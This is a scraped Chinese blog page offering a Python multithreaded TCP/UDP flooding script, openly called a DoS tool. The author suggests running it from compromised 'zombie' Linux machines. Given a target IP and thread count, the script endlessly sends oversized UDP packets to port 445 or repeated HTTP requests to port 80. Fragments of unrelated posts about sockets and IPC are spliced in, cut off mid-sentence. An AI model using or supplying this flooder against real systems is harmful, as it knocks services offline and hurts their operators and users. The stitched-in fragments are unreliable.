python socket发包_python 多线程tcp udp发包 Dos工具。
[使用 異步多線程TCP Socket 實現進程間通信(VC 6.0 , BCB6.0調試通過)????????????進程間通信有很多種方式,比如說 Pipe,共享內存,DDE,Socket等,關于進程通信方面的知識我
現在肉雞上面linux越來越多,都默認安裝了python,有時候沒有工具的時候可以自己寫一個:
[在上一篇博文中,我們介紹了利用socket進行簡單的UDP/TCP的服務端和客戶端的通信。(一)在基于UDP的程序中,你有沒有想過,如果我的這臺主機在通訊的時候要求既能夠收到
下面是支持 tcp和udp的python的發包代碼:
import socket,sys,threading
if len(sys.argv)!=4:
print('使用方法:\n'+sys.argv[0],'目標ip','協議[tcp | udp]','線程數')
sys.exit(1)
ip=sys.argv[1]
tp='send'+sys.argv[2].strip().lower()
tno=int(sys.argv[3])
udpdata=b'a'*65530
tcpdata='''GET / HTTP/1.1
Connection: keep-alive
Host: {}
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko)
Chrome/17.0.963.46 Safari/535.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
'''.format(ip).encode()
def sendudp(host,port=445):
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
while True:
s.sendto(udpdata,(host,port))
print('Udp sending... ')
def sendtcp(host,port=80):
while True:
s=socket.socket()
s.connect((host,port))
s.send(tcpdata)
print('Tcp sending... ')
s.close()
tlst=[]
for i in range(tno):
th=threading.Thread(target=eval(tp),args=(ip,))
tlst.append(th)
for i in tlst:
i.start()
[如果沒有multitask包,請從http://python-multitask.googlecode.com/files/multitask-0.2.0.zip下載 http://blog.csdn.net/ghostfromheaven/article/details/7061387 serv
總結
以上是生活随笔為你收集整理的python socket发包_python 多线程tcp udp发包 Dos工具。的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 统计结合python_python 练习
- 下一篇: Harris-Laplace角点检测初探